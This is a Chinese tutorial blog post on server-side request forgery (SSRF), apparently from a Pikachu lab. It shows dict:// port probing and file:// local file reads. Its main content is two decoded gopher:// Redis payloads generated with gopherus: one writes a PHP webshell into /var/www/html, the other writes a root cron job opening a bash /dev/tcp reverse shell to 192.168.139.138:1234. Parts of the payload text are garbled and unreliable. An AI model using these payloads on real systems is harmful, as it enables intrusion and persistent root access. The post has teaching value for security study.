当前位置: 首页 > news >正文

ssrf实现

一、SSRF (Server-side Request Forge, 服务端请求伪造)

1、概念:

      它是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。漏洞产生由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

2、ssrf示意图

1.攻击者向服务器A发送一个让服务器A访问另外一个服务器B的请求
2.服务器A向服务器B发送一个请求
3.服务器B向服务器A发送响应
4.服务器A向黑客发送服务器B的响应

3、Ssrf类型:

Basic ssrf:返回结果到客户端,如果响应是一个网站,就会显示相应的界面或对应的html代码
Bind ssrf: 不会返回响应给客户端。

4、SSH未创建写shell的SSRF实现

要实现通过SSRF攻击未创建写shell的SSH,攻击者需要利用存在SSRF漏洞的服务器来伪造请求,这些请求可以用来与目标系统的SSH服务通信。通常,这涉及到以下步骤:                           1.发现SSRF漏洞:攻击者首先需要找到一个可以通过用户可控制的输入来发起外部请求的服务器。
2.利用SSRF漏洞:攻击者构造一个特殊的URL,使服务器向目标系统的SSH端口发送请求。
3.绕过身份验证:如果目标系统的SSH服务没有正确配置,攻击者可能会尝试利用已知的漏洞或默认凭证来绕过身份验证。
4.执行命令:一旦建立了SSH连接,攻击者可以尝试在目标系统上执行命令,以获取shell访问权限。
5.持久化访问:为了保持对目标系统的控制,攻击者可能会尝试写入SSH的authorized_keys文件,添加自己的公钥,从而实现无密码登录。

复刻

1.dict 协议

       dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务器版本信息利用dict协议探测端口

      所以像 mysql 的服务,因为也是基于 tcp 协议开发,所以用 dict 协议的方式打开也能强行读取一些 mysql 服务的返回内容

127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

Dict服务器和客户机使用TCP端口3306

Curl:一种命令行工具,作用是发出网络请求,获取数据

Curl -v:显示http通信的整个过程,包括端口连接和HTTP request头信息

2.file协议

     file协议主要用于访问(读取)本地计算机中的文件信息,好比通过Windows的资源管理器中打开文件或者通过右键单击‘打开’一样。

基本格式:  file:/// 文件路径

127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///D:\phpstudy_pro\WWW\pikachu-master\vul\ssrf\ssrf.php

3.gopher协议

gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

gopher协议数据格式:

gopher://ip:port/_TCP/IP数据流

注意:gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行.

            数据流末尾使用%0d%0a代表消息结束。

在ubuntu中输入:gopherus --exploit redis

(1)PHPshell

urldeciode解码:

$8

flushall

*3

$3

set

$1

1

$20

<?php phpinfo();

$4
$6

config

$3

set

dir

$13

/var/www/html
*4
$6
config

$3

set

$10

dbfilename
$9
shel1.php

*1

$4

save

?>

//内存数据落盘

将我写入的  <?php phpinfo();  存储到  shel1.php  文件,文件路径是  /var/www/html

(2)Reverseshell

urldeciode解码:

gopher://127.0.0.1:6379/*1

$8

flushall

*3

$3

set

$1

1

$70

LF LF*/1 * **bash -c"shi>& /dev/tcp/192.168.139.138/1234 0>&1"1 F

$4
$16

config

$3

set

dir

$16

/var/spool/cron/
*4
$6
config

$3

set

$9

dbfilename
$4
root

*1

$4

save

?>

一分钟执行一句话,反弹到192.168.139.138的1234端口(需要监听到1234端口),并将其写入到root文件中,(因为是依root权限写入,因此反弹也是root权限)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • springboot+vue+mybatis计算机毕业设计电子产品交易系统+PPT+论文+讲解+售后
  • iview checkbox单独使用时 如何去掉显示的true和false以及不显示文字
  • VBA技术资料MF180:将某个文件夹中的某类图片导入Word
  • sqlite blob 数据检索(基于sqlite3_get_table的优化)
  • 如何使用Gitee管理自己的项目
  • 【自由能系列(初级)】自由能原理——神经科学的“能量守恒”方程
  • 惠海H6900B升压恒流调光IC芯片3.7V7.4V12V升压18V24V36V 48V 植物灯/电解水
  • 娱乐社交、游戏等行业共探合规前提下,实现产品可持续的增长与营收 | 网易数智x华为云泛娱乐行业沙龙-杭州站邀您前来!
  • 学苑教育杂志社学苑教育编辑部学苑教育杂志2024年第23期目录
  • 解决有向图中节点出度和入度计算问题
  • 万字详解Spring框架基础(Java开发社区最受欢迎的框架之一)
  • python 和C通过共享内存通信
  • Redis 实现哨兵模式
  • uniapp,uview:inputnumber或者input,当type为number的时候,在ios里输入不了小数的问题
  • 歌曲转换成mp3格式免费秘籍,安利6款音频转换软件(简单实用)
  • 【技术性】Search知识
  • 【跃迁之路】【699天】程序员高效学习方法论探索系列(实验阶段456-2019.1.19)...
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • gulp 教程
  • JS 面试题总结
  • linux学习笔记
  • Map集合、散列表、红黑树介绍
  • Perseus-BERT——业内性能极致优化的BERT训练方案
  • vue:响应原理
  • windows下使用nginx调试简介
  • 大型网站性能监测、分析与优化常见问题QA
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 前端性能优化——回流与重绘
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • 组复制官方翻译九、Group Replication Technical Details
  • # AI产品经理的自我修养:既懂用户,更懂技术!
  • # windows 运行框输入mrt提示错误:Windows 找不到文件‘mrt‘。请确定文件名是否正确后,再试一次
  • #if 1...#endif
  • #我与Java虚拟机的故事#连载05:Java虚拟机的修炼之道
  • (AngularJS)Angular 控制器之间通信初探
  • (C)一些题4
  • (cos^2 X)的定积分,求积分 ∫sin^2(x) dx
  • (MIT博士)林达华老师-概率模型与计算机视觉”
  • (NSDate) 时间 (time )比较
  • (办公)springboot配置aop处理请求.
  • (附源码)小程序儿童艺术培训机构教育管理小程序 毕业设计 201740
  • (强烈推荐)移动端音视频从零到上手(下)
  • (区间dp) (经典例题) 石子合并
  • (生成器)yield与(迭代器)generator
  • (十)Flink Table API 和 SQL 基本概念
  • (一)、python程序--模拟电脑鼠走迷宫
  • (转载)从 Java 代码到 Java 堆
  • .NET C# 配置 Options
  • .net core 6 redis操作类
  • .NET Core SkiaSharp 替代 System.Drawing.Common 的一些用法
  • .NET Framework 的 bug?try-catch-when 中如果 when 语句抛出异常,程序将彻底崩溃
  • .NET 程序如何获取图片的宽高(框架自带多种方法的不同性能)
  • .NET+WPF 桌面快速启动工具 GeekDesk
  • .py文件应该怎样打开?
  • ::前边啥也没有